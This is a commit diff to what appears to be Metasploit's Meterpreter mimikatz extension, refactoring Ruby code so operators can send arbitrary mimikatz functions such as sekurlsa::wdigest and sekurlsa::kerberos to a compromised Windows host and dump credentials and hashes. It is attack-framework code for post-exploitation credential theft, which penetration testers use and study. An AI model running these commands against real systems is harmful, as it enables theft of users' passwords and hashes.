Skip to content

Commit fab1781

Browse files
committed
Refactored to send custom commands
1 parent 6656514 commit fab1781

File tree

3 files changed

+67
-16
lines changed

3 files changed

+67
-16
lines changed

lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb

Lines changed: 20 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -34,13 +34,17 @@ def initialize(client)
3434
])
3535
end
3636

37-
def mimikatz_send_request(method)
38-
request = Packet.create_request(method)
37+
def send_custom_command(function, args=[])
38+
request = Packet.create_request('mimikatz_custom_command')
39+
request.add_tlv(TLV_TYPE_MIMIKATZ_FUNCTION, function)
40+
args.each do |a|
41+
request.add_tlv(TLV_TYPE_MIMIKATZ_ARGUMENT, a)
42+
end
3943
response = client.send_request(request)
4044
return Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
4145
end
4246

43-
def parse_mimikatz_result(result)
47+
def parse_creds_result(result)
4448
details = CSV.parse(result)
4549
accounts = []
4650
details.each do |acc|
@@ -56,7 +60,7 @@ def parse_mimikatz_result(result)
5660
return accounts
5761
end
5862

59-
def parse_mimikatz_ssp_result(result)
63+
def parse_ssp_result(result)
6064
details = CSV.parse(result)
6165
accounts = []
6266
details.each do |acc|
@@ -80,33 +84,33 @@ def parse_mimikatz_ssp_result(result)
8084
end
8185

8286
def wdigest
83-
result = mimikatz_send_request('mimikatz_wdigest')
84-
return parse_mimikatz_result(result)
87+
result = send_custom_command('sekurlsa::wdigest')
88+
return parse_creds_result(result)
8589
end
8690

8791
def msv
88-
result = mimikatz_send_request('mimikatz_msv1_0')
89-
return parse_mimikatz_result(result)
92+
result = send_custom_command('sekurlsa::msv')
93+
return parse_creds_result(result)
9094
end
9195

9296
def livessp
93-
result = mimikatz_send_request('mimikatz_livessp')
94-
return parse_mimikatz_result(result)
97+
result = send_custom_command('sekurlsa::livessp')
98+
return parse_creds_result(result)
9599
end
96100

97101
def ssp
98-
result = mimikatz_send_request('mimikatz_ssp')
99-
return parse_mimikatz_ssp_result(result)
102+
result = send_custom_command('sekurlsa::ssp')
103+
return parse_ssp_result(result)
100104
end
101105

102106
def tspkg
103-
result = mimikatz_send_request('mimikatz_tspkg')
104-
return parse_mimikatz_result(result)
107+
result = send_custom_command('sekurlsa::tspkg')
108+
return parse_creds_result(result)
105109
end
106110

107111
def kerberos
108-
result = mimikatz_send_request('mimikatz_kerberos')
109-
return parse_mimikatz_result(result)
112+
result = send_custom_command('sekurlsa::kerberos')
113+
return parse_creds_result(result)
110114
end
111115
end
112116

lib/rex/post/meterpreter/extensions/mimikatz/tlv.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,8 @@ module Extensions
66
module Mimikatz
77

88
TLV_TYPE_MIMIKATZ_RESULT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1)
9+
TLV_TYPE_MIMIKATZ_FUNCTION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2)
10+
TLV_TYPE_MIMIKATZ_ARGUMENT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
911

1012
end
1113
end

lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33,6 +33,7 @@ def initialize(shell)
3333
#
3434
def commands
3535
{
36+
"mimikatz_command" => "Run a custom commannd",
3637
"wdigest" => "Attempt to retrieve wdigest creds",
3738
"msv" => "Attempt to retrieve msv creds (hashes)",
3839
"livessp" => "Attempt to retrieve livessp creds",
@@ -42,6 +43,50 @@ def commands
4243
}
4344
end
4445

46+
@@command_opts = Rex::Parser::Arguments.new(
47+
"-f" => [true, "The function to pass to the command."],
48+
"-a" => [true, "The arguments to pass to the command."],
49+
"-h" => [false, "Help menu."]
50+
)
51+
52+
def cmd_mimikatz_command(*args)
53+
if (args.length == 0)
54+
args.unshift("-h")
55+
end
56+
57+
cmd_args = nil
58+
cmd_func = nil
59+
arguments = []
60+
61+
@@command_opts.parse(args) { |opt, idx, val|
62+
case opt
63+
when "-a"
64+
cmd_args = val
65+
when "-f"
66+
cmd_func = val
67+
when "-h"
68+
print(
69+
"Usage: mimikatz_command -f func -a args\n\n" +
70+
"Executes a mimikatz command on the remote machine.\n" +
71+
"e.g. mimikatz_command -f sekurlsa::wdigest -a \"full\"\n" +
72+
@@command_opts.usage)
73+
return true
74+
end
75+
}
76+
77+
unless cmd_func
78+
print_error("You must specify a function with -f")
79+
return true
80+
end
81+
82+
if cmd_args
83+
arguments = cmd_args.split(" ")
84+
end
85+
86+
print client.mimikatz.send_custom_command(cmd_func, arguments)
87+
print_line
88+
end
89+
4590
def mimikatz_request(provider, method)
4691
get_privs
4792
print_status("Retrieving #{provider} credentials")

0 commit comments

Comments
 (0)